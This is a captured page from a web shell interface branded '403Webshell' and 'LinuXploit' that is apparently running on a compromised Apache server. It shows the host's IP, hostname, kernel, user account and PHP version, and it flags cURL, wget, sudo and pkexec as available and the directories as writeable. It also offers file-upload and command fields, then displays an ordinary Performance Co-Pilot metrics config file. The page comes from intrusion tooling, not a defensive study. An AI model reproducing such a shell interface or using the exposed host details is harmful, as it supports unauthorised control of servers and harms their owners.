- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.141.25.125
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/pcp/summary/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/pcp/summary/expr.pmie
//
// summary metrics
//
// these expressions are evaluated by pmie(1)
//
// use the default interval between expression evaluation (currently
// 10 seconds), and re-configure via -t command line arg to pmie
// (see Install)

// CPU utilization
//
cpuse   = "(kernel.percpu.cpu.sys + kernel.percpu.cpu.user)";
ncpu    = "hinv.ncpu";

// average CPU utilization
summary.cpu.util = avg_inst $cpuse;

// proportion of CPUs that are busy
summary.cpu.busy = (count_inst $cpuse > 0.7) / $ncpu;

// Disk utilization
//
diskio  = "disk.dev.total";
ndisk   = "hinv.ndisk";

// average spindle activity
summary.disk.iops = avg_inst ($diskio);

// proportion of disk spindles that are busy
summary.disk.busy = (count_inst $diskio > 40) / $ndisk;

// Network interface utilization
//
netio   = "network.interface.total.packets";

// average network interface activity
summary.netif.packets = avg_inst ($netio);

// proportion of network interfaces that are busy
summary.netif.busy = (count_inst $netio > 400) / (count_inst $netio >= 0);

Youez - 2016 - github.com/yon3zu
LinuXploit